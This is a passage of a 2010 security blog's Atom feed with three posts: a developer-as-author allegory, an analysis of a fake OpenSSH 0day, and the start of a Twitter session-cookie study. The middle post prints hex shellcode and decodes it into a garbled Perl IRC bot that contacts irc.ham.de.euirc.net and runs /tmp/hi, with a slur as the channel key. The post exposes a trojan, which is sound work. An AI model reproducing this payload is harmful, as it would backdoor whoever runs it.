src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-8389856391466647813</id><published>2010-02-23T12:21:00.000-06:00</published><updated>2010-02-23T12:21:56.018-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='development'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='web application testing'/><title type='text'>On Authorship and the Book Publishing Industry</title><content type='html'>I am not an &lt;a href="http://en.wikipedia.org/wiki/Software_developer"&gt;author&lt;/a&gt;. I cut my teeth in the &lt;a href="http://en.wikipedia.org/wiki/System_administrator"&gt;book binding business&lt;/a&gt;. And, unfortunately, I have spent a lot of time as a &lt;a href="http://en.wikipedia.org/wiki/Penetration_test"&gt;critic&lt;/a&gt;. Starting soon, though, I will work in &lt;a href="http://www.aspectsecurity.com/"&gt;an outsourced editorial department&lt;/a&gt;! But, alas, I am not an author. I have enjoyed reading many published works out there by &lt;a href="http://code.google.com/"&gt;up-and-coming&lt;/a&gt; and also &lt;a href="http://en.wikipedia.org/wiki/Wietse_Venema"&gt;accomplished&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Donald_Knuth"&gt;authors&lt;/a&gt;. I tend to focus only on a couple genres, most of which others consider boring or commonplace, but so be it. This is just a heads up letting you know where I'm coming from, that's all.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You authors write great books! You really do! Be it &lt;a href="http://en.wikipedia.org/wiki/Actuarial_science"&gt;historical&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Financial_services"&gt;fiction&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/United_States_Department_of_Defense"&gt;non-fiction&lt;/a&gt;, &lt;a href="http://www.twitter.com/"&gt;autobiographies&lt;/a&gt;, etc., some of you should go down in the annals of all-time authors out there, even if your piece in the tome is not attributed outside of the &lt;a href="http://en.wikipedia.org/wiki/Business"&gt;publishing house&lt;/a&gt;. You have great &lt;a href="http://en.wikipedia.org/wiki/Use_case"&gt;character development&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Design_pattern_%28computer_science%29"&gt;wonderful prose&lt;/a&gt;, a &lt;a href="http://en.wikipedia.org/wiki/Exit_status"&gt;well-timed climax&lt;/a&gt;, and just &lt;a href="http://en.wikipedia.org/wiki/Main_function_%28programming%29"&gt;an unforgettable narrative&lt;/a&gt; in general. But, there are the critics.&lt;br /&gt;&lt;br /&gt;Being a critic, don't listen to us. Well, listen to us only if you have no in-house editors and can't afford outsourced ones. More on that later. You're the ones &lt;a href="http://en.wikipedia.org/wiki/Systems_Development_Life_Cycle"&gt;writing the books&lt;/a&gt;, keeping the publishing house in business. Critics usually don't work for the publishing house. Rather, they work for &lt;a href="http://ha.ckers.org/"&gt;periodicals&lt;/a&gt; or &lt;a href="http://en.wikipedia.org/wiki/Full_disclosure"&gt;dailies&lt;/a&gt; trying to find controversy than provide editorial insight and services. Critics do have a place, though, at the table, just at the kid's table.&lt;br /&gt;&lt;br /&gt;Editors, though, please mind. They are your friends and allies, more so than you realize. These masochists enjoy reading &lt;a href="http://www.owasp.org/index.php/Main_Page"&gt;The Chicago Manual of Style&lt;/a&gt; (CMS) and helping authors adhere to style guidelines while not ruining the story. They also want authors to avoid having their stories and books torn apart by the critics. Some critics are rightly influential in their criticism and can &lt;a href="http://minnesota.publicradio.org/display/web/2009/12/11/security-breach/"&gt;take a book out of circulation&lt;/a&gt; or require a newer editions &lt;a href="http://www.microsoft.com/Security/"&gt;released sooner than expected&lt;/a&gt;. The editors' battles never end.&lt;br /&gt;&lt;br /&gt;As an author, don't become an editor unless you need to or want to become one. To pontificate on the merits of &lt;a href="http://en.wikipedia.org/wiki/SQL_injection"&gt;split infinitives&lt;/a&gt; or &lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;dangling participles&lt;/a&gt; only furthers you from your goal of writing your story. If you need to, refer to the CMS. Even better, learn how to avoid some common &lt;a href="http://www.owasp.org/index.php/Guide_to_Authentication#Authentication_Anti-Patterns"&gt;grammar mistakes&lt;/a&gt; by incorporating &lt;a href="http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API"&gt;freely-available sentences and structure&lt;/a&gt;. Most authors would be abhorred to &lt;a href="http://en.wikipedia.org/wiki/Not_Invented_Here"&gt;re-use other authors' works&lt;/a&gt;, but please do! This is not plagiarism; this is to help you! The worst case is that you try to write your own &lt;a href="http://rdist.root.org/2009/08/06/google-tech-talk-on-common-crypto-flaws/"&gt;grammar&lt;/a&gt; &lt;a href="http://www.slideshare.net/ceng/cryptography-for-penetration-testers-pdf-version-presentation"&gt;style&lt;/a&gt; &lt;a href="http://chargen.matasano.com/chargen/2009/7/22/if-youre-typing-the-letters-a-e-s-into-your-code-youre-doing.html"&gt;guides&lt;/a&gt; whilst not properly trained, failing miserably and &lt;a href="http://en.wikipedia.org/wiki/Troll_%28Internet%29"&gt;feeding&lt;/a&gt; the critics all the same.&amp;nbsp; And, if all you can do is use &lt;a href="http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis"&gt;spell checkers&lt;/a&gt;, it's better than nothing. &lt;br /&gt;&lt;br /&gt;So, please keep on writing. Involve your editors sooner than later. But, don't sweat the small stuff. You got enough on your plate :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-8389856391466647813?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/8389856391466647813/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=8389856391466647813' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8389856391466647813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8389856391466647813'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2010/02/on-authorship-and-book-publishing.html' title='On Authorship and the Book Publishing Industry'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-1723513775747522205</id><published>2010-02-07T12:49:00.000-06:00</published><updated>2010-02-07T12:49:07.524-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='openssh'/><category scheme='http://www.blogger.com/atom/ns#' term='fake 0day'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>Funny Fake Openssh 0Day</title><content type='html'>Head over to &lt;a href="http://pentestit.com/"&gt;PenTestIT&lt;/a&gt; to view a fake OpenSSH 0day called "openssh-53p1-remote-root.c".&amp;nbsp; Here's the first fake shellcode:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;char shellcode[] =&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"&lt;br /&gt;"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Throw that into vi, do a %s/^/sc = sc +/ , massage the the first and last lines and this is what python spits out:&lt;br /&gt;&lt;pre&gt;#!/usr/bin/perl&lt;br /&gt;$chan="#cn";&lt;br /&gt;$ke";&lt;br /&gt;while (&amp;lt;$sockG (.*)$/){print ";&lt;br /&gt;while (&amp;lt;$sockn";&lt;br /&gt;            sleep 1;&lt;br /&gt;       k\n";}}print $sock "JOIN $chan $key\n";while (&amp;lt;$sock&amp;gt;){if (/^PING (.*)$/){print #!/usr/bin/perl&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;n";&lt;br /&gt;            #!/usr/bin/perl&lt;br /&gt;$chan="#cn";$key ="fags";$nick="phpfr";$server="G (.*)$/){print ";&lt;br /&gt;while (&amp;lt;$sockn";&lt;br /&gt;            sleep 1;&lt;br /&gt;       k\n";}}print $sock "JOIN $chan $key\n";while (&amp;lt;$sock&amp;gt;){if (/^PING (.*)$/){print #!/usr/bin/perl&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;irc.ham.de.euirc.net";$SIG{TERM}";&lt;br /&gt;while (&amp;lt;$sock";&lt;br /&gt;while (&amp;lt;$sockn";&lt;br /&gt;            sleep 1;&lt;br /&gt;       n";&lt;br /&gt;            #!/usr/bin/perl&lt;br /&gt;$chan="#cn";$key ="fags";$nick="k\n";}}print $sock "JOIN $chan $key\n";while (&amp;lt;$sock&amp;gt;){if (/^PING (.*)$/){print phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}sleep 1;&lt;br /&gt;       sleep 1;&lt;br /&gt;       ";&lt;br /&gt;while (&amp;lt;$sockn";&lt;br /&gt;            sleep 1;&lt;br /&gt;       #!/usr/bin/perl&lt;br /&gt;$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2&amp;gt;/dev/null;/tmp/hi";&lt;br /&gt;while (&amp;lt;$sockn";&lt;br /&gt;            sleep 1;&lt;br /&gt;       k\n";}}print $sock "JOIN $chan $key\n";while (&amp;lt;$sock&amp;gt;){if (/^PING (.*)$/){print ";&lt;br /&gt;while (&amp;lt;$sockn";&lt;br /&gt;            sleep 1;&lt;br /&gt;       k\n";}}print $sock "JOIN $chan $key\n";while (&amp;lt;$sock&amp;gt;){if (/^PING (.*)$/){print #!/usr/bin/perl&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;I'm pretty sure that's not what you want going on :-)&lt;br /&gt;&lt;br /&gt;Here's the next "shellcode" block:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;char fbsd_shellcode[] =&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"&lt;br /&gt;"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"&lt;br /&gt;"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"&lt;br /&gt;"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"&lt;br /&gt;"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"&lt;br /&gt;"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"&lt;br /&gt;"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"&lt;br /&gt;"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"&lt;br /&gt;"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"&lt;br /&gt;"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"&lt;br /&gt;"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"&lt;br /&gt;"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"&lt;br /&gt;"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"&lt;br /&gt;"\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"&lt;br /&gt;"\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"&lt;br /&gt;"\x2f\x74\x6d\x70\x2f\x68\x69\x0a";&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;And the printed out results:&lt;br /&gt;&lt;pre&gt;";&lt;br /&gt;while (&amp;lt;$sockn";&lt;br /&gt;             ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}";&lt;br /&gt;while (&amp;lt;$sock";&lt;br /&gt;while (&amp;lt;$sockn";&lt;br /&gt;            sleep 1;&lt;br /&gt;       n";&lt;br /&gt;            #!/usr/bin/perl&lt;br /&gt;$chan="#cn";$key ="fags";$nick="sleep 1;&lt;br /&gt;       #!/usr/bin/perl&lt;br /&gt;$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2&amp;gt;/dev/null;/tmp/hi";&lt;br /&gt;while (&amp;lt;$sockn";&lt;br /&gt;            sleep 1;&lt;br /&gt;       k\n";}}print $sock "JOIN $chan $key\n";while (&amp;lt;$sock&amp;gt;){if (/^PING (.*)$/){print ";&lt;br /&gt;while (&amp;lt;$sockn";&lt;br /&gt;            sleep 1;&lt;br /&gt;       k\n";}}print $sock "JOIN $chan $key\n";while (&amp;lt;$sock&amp;gt;){if (/^PING (.*)$/){print #!/usr/bin/perl&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;$chan="#cn";$key ="fags";$nick="}}#chmod +x /tmp/hi 2&amp;gt;/dev/null;/tmp/hi&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Hmm... yeah. Nice shellcode.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-1723513775747522205?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/1723513775747522205/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=1723513775747522205' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1723513775747522205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1723513775747522205'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2010/02/funny-fake-openssh-0day.html' title='Funny Fake Openssh 0Day'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-1790590881381888854</id><published>2010-02-05T12:47:00.001-06:00</published><updated>2010-02-05T12:49:51.038-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webscarab'/><category scheme='http://www.blogger.com/atom/ns#' term='session tokens'/><category scheme='http://www.blogger.com/atom/ns#' term='ruby on rails'/><category scheme='http://www.blogger.com/atom/ns#' term='session identifiers'/><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='web application testing'/><title type='text'>Twitter Session Token Fun, Part 2</title><content type='html'>Recap&lt;br /&gt;&lt;br /&gt;To recap &lt;a href="http://blog.cykyc.org/2010/02/twitter-session-token-fun-part-1.html"&gt;Part 1&lt;/a&gt;, we have recovered what we assume is the Twitter session ID cookie,&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; _twit_session&lt;/span&gt;. This cookie is a doubly-URL encoded, Base64 encoded glob that contains some ASCII strings. One of these strings points to the Ruby on Rails project. Looking through its source code and bread crumbs leads to the file &lt;i&gt;./vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb&lt;/i&gt;. Quickly scanning this file shows a lot of cookie yumminess that is making hungry for some fresh, oven-baked chocolate chips cookies.&lt;br /&gt;&lt;br /&gt;Also, something I did not mention before was the very high likelihood that someone else has already documented all of this information, probably in a better format. I haven't read it, if so, since this is more enjoyment on my part. If this is duplicate effort, so be it. I make no claims to originality in this post 